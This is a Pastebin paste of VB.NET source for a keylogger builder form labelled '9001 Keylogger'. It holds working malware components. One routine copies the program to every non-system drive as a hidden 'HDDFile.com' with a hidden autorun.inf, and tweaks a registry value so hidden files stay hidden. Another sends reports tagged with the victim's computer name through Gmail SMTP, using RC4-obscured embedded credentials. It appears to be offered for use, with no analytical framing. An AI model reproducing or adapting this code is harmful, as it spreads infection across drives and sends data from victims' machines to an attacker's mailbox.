Advertisement
Guest User

Untitled

a guest
May 16th, 2017
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 6.20 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Net.Mail
  3. Imports System.Security.Cryptography
  4. Public Class Form1
  5.     Dim stub, text1, text2, interval As String
  6.     Dim cb As Boolean
  7.     Dim cb2 As Boolean
  8.     Dim MyVar As String
  9.     Const FileSplit = "@soulcollector@"
  10.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  11.         text1 = TextBox1.Text
  12.         text2 = TextBox2.Text
  13.         interval = Convert.ToString(NumericUpDown1.Value * 60000)
  14.  
  15.         If CheckBox1.Checked = True Then
  16.             cb = True
  17.         Else : cb = False
  18.         End If
  19.  
  20.         If CheckBox2.Checked = True Then
  21.             cb2 = True
  22.         End If
  23.     End Sub
  24.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  25.         If TextBox1.Text = "" Or TextBox2.Text = "" Then
  26.             MsgBox("The e-mail username or password is not valid. (check your settings)", MsgBoxStyle.Critical, "Error")
  27.             Exit Sub
  28.         Else
  29.             Try
  30.                 Dim mail As New MailMessage
  31.                 mail.To.Add(TextBox1.Text)
  32.                 mail.From = New MailAddress(TextBox1.Text)
  33.                 mail.Subject = "9001 Keylogger Test"
  34.                 Dim smtp As New SmtpClient("smtp.gmail.com")
  35.                 smtp.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
  36.                 smtp.EnableSsl = True
  37.                 smtp.Port = 587
  38.                 smtp.Send(mail)
  39.                 MsgBox("Check your Gmail, Works Perfect!", MsgBoxStyle.Information, "Works")
  40.             Catch ex As Exception
  41.                 MsgBox("The e-mail username or password is not valid. (check your settings)", MsgBoxStyle.Critical, "Error")
  42.                 Exit Sub
  43.             End Try
  44.         End If
  45.     End Sub
  46.     Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
  47.  
  48.     End Sub
  49.  
  50.     Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
  51.         On Error Resume Next
  52.         My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
  53.         Dim sDrive As String, sDrives() As String, xDrive As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
  54.         sDrives = System.IO.Directory.GetLogicalDrives
  55.         For Each sDrive In sDrives
  56.             If xDrive.Contains(sDrive) Then
  57.             Else
  58.                 My.Computer.FileSystem.CopyFile(Application.ExecutablePath, sDrive & "HDDFile.com", True, FileIO.UICancelOption.DoNothing)
  59.                 My.Computer.FileSystem.WriteAllText(sDrive & "autorun.inf", "[autorun]" & vbCrLf & "open=" & sDrive & "HDDFile.com" & vbCrLf & "shellexecute=" & sDrive, True)
  60.                 SetAttr(sDrive & "HDDFile.com", FileAttribute.Hidden)
  61.                 SetAttr(sDrive & "autorun.inf", FileAttribute.Hidden)
  62.             End If
  63.         Next
  64.     End Sub
  65.  
  66.  
  67.  
  68.     Private Sub CheckBox7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox7.Click
  69.         Dim Username = rc4("mymail@gmail.com", "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD")
  70.         Dim Password = rc4("youracconutpassword", "asdnasobnuo23182bsdjbvjjdBASduashu12378128sad")
  71.  
  72.         Try
  73.             Dim mail As New MailMessage
  74.             mail.To.Add(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"))
  75.             mail.From = New MailAddress(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"))
  76.             mail.Subject = "From - " & My.Computer.Name
  77.             mail.Body = "Some text here."
  78.             Dim smtp As New SmtpClient("smtp.gmail.com")
  79.             smtp.EnableSsl = True
  80.             smtp.Port = 587
  81.             smtp.Credentials = New System.Net.NetworkCredential(rc4(Username, "abcdefghj1m2lx12n3bu12biuiebasuidbuiasD"), rc4(Password, "asdnasobnuo23182bsdjbvjjdBASduashu12378128sad"))
  82.             smtp.Send(mail)
  83.             MessageBox.Show("The email was sent + your information is hidden & encrypted.", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
  84.         Catch ex As Exception
  85.             MessageBox.Show("The email was sent + your information is hidden & encrypted", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
  86.             Exit Sub
  87.         End Try
  88.     End Sub
  89.     Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
  90.  
  91.         Dim i As Integer = 0
  92.         Dim j As Integer = 0
  93.         Dim cipher As New System.Text.StringBuilder
  94.         Dim returnCipher As String = String.Empty
  95.  
  96.         Dim sbox As Integer() = New Integer(256) {}
  97.         Dim key As Integer() = New Integer(256) {}
  98.  
  99.         Dim intLength As Integer = password.Length
  100.  
  101.         Dim a As Integer = 0
  102.         While a <= 255
  103.  
  104.             Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
  105.  
  106.             key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
  107.             sbox(a) = a
  108.             System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  109.         End While
  110.  
  111.         Dim x As Integer = 0
  112.  
  113.         Dim b As Integer = 0
  114.         While b <= 255
  115.             x = (x + sbox(b) + key(b)) Mod 256
  116.             Dim tempSwap As Integer = sbox(b)
  117.             sbox(b) = sbox(x)
  118.             sbox(x) = tempSwap
  119.             System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
  120.         End While
  121.  
  122.         a = 1
  123.  
  124.         While a <= message.Length
  125.  
  126.             Dim itmp As Integer = 0
  127.  
  128.             i = (i + 1) Mod 256
  129.             j = (j + sbox(i)) Mod 256
  130.             itmp = sbox(i)
  131.             sbox(i) = sbox(j)
  132.             sbox(j) = itmp
  133.  
  134.             Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
  135.  
  136.             Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
  137.  
  138.             itmp = Asc(ctmp)
  139.  
  140.             Dim cipherby As Integer = itmp Xor k
  141.  
  142.             cipher.Append(Chr(cipherby))
  143.             System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  144.         End While
  145.  
  146.         returnCipher = cipher.ToString
  147.         cipher.Length = 0
  148.  
  149.         Return returnCipher
  150.  
  151.     End Function
  152. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement